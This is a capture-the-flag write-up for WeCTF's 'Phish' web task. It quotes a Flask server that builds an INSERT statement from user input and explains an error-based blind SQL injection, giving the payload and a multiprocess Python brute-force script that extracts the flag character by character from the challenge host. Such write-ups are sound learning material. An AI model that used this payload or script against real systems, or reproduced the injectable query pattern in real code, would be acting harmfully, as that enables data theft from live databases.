# [WeCTF](https://ctftime.org/event/1231)## Task: Phish##### Tags: `medium` `web`We get the source code of the phishing site and link to it.#### Source codeMany files are html, css to make the site looks similar to apple cloud. But there is a `main.py` file where all server code is.```pythonclass User(Model):    id = AutoField()    password = CharField()    username = CharField(unique=True)
    class Meta:        database = db
@db.connection_context()def initialize():    try:        db.create_tables([User])        User.create(username="shou", password=os.getenv("FLAG"))    except:        pass
initialize()
@app.route("/add", methods=["POST"])def add():    username = request.form["username"]    password = request.form["password"]    sql = f"INSERT INTO `user`(password, username) VALUES ('{password}', '{username}')"    try:        db.execute_sql(sql)    except Exception as e:        return f"Err: {sql} " + str(e)    return "Your password is leaked :)" + \           """<blockquote class="imgur-embed-pub" lang="en" data-id="WY6z44D"  >Please        take care of your privacy</blockquote><script async src="//s.imgur.com/min/embed.js"        charset="utf-8"></script> """```So, the flag is in the password of the Shou account. And we can see page `/add` that creates a new account. And we can see that there is an INSERT where values go straight from the input. It's SQL injection for sure, and since it returns an error we can perform an error-based SQL injection. We cannot simply get the flag from DB because it does not return any output.```sqlmark', CASE WHEN substr((SELECT password FROM user WHERE username = 'shou'),1, 1) = 'w' THEN "*random_name*" ELSE "shou" END); --'''```I had many troubles with SQLite syntax, but finally, I got it. If the letter is correct we create a new user, if not we get a UNIQUE error because Shou account there for sure.
## AutomationFirstly, I've tried to make fewer requests by checking the format of the flag and get rid of impossible symbols in some places of the flag. But I was making too many errors (to submit flag), so I tried and made pure bruteforce:```pythonimport requestsimport randomimport stringimport refrom multiprocessing import Process
alf = []for i in range(0, 256):  # get any possible letter in alphabet    if chr(i) == "'":        continue    if 'a' <= chr(i) <= 'z' or 'A' <= chr(i) <= 'Z' or '!' <= chr(i) <= '@' or chr(i) in '$%^()=-}{_':        alf.append(chr(i))
sql_injection = '''mark', CASE WHEN substr((SELECT password FROM user WHERE username = 'shou'),{}, 1) = '{}' THEN "{}" ELSE "shou" END); --'''data = {"username": "mark"}
def worker(i):  # Finds right i-th letter    f = open(f"./ans/s_{i}", 'wt')    for letter in alf:        random_name = ''.join(random.choice(string.ascii_lowercase) for k in range(100))        local_data = data        local_data['password'] = sql_injection.format(i, letter, random_name)        res = requests.post("http://phish.sg.ctf.so/add", data=local_data)        if len(re.findall(r'UNIQUE constraint failed', res.text)) == 1:  # Shou's account. wrong letter            continue        if len(re.findall(r'Your password is leaked ', res.text)) == 1:  # Right letter            f.write(letter)            break
if __name__ == "__main__":    processes = []    for i in range(1, 100):  # Made it in 100 processes instead of threads (because of GIL)        processes.append(Process(target=worker, args=(i,)))        processes[-1].start()    for p in processes:        p.join()    ans = ''    for i in range(1, 100):        f = open(f'./ans/s_{i}')        a = f.read()        ans += a    print(ans)
```Also, I was too tired of this task and wanted to finish it asap, so I've done Process communication via files for simplicity and submitted the ✨flag✨.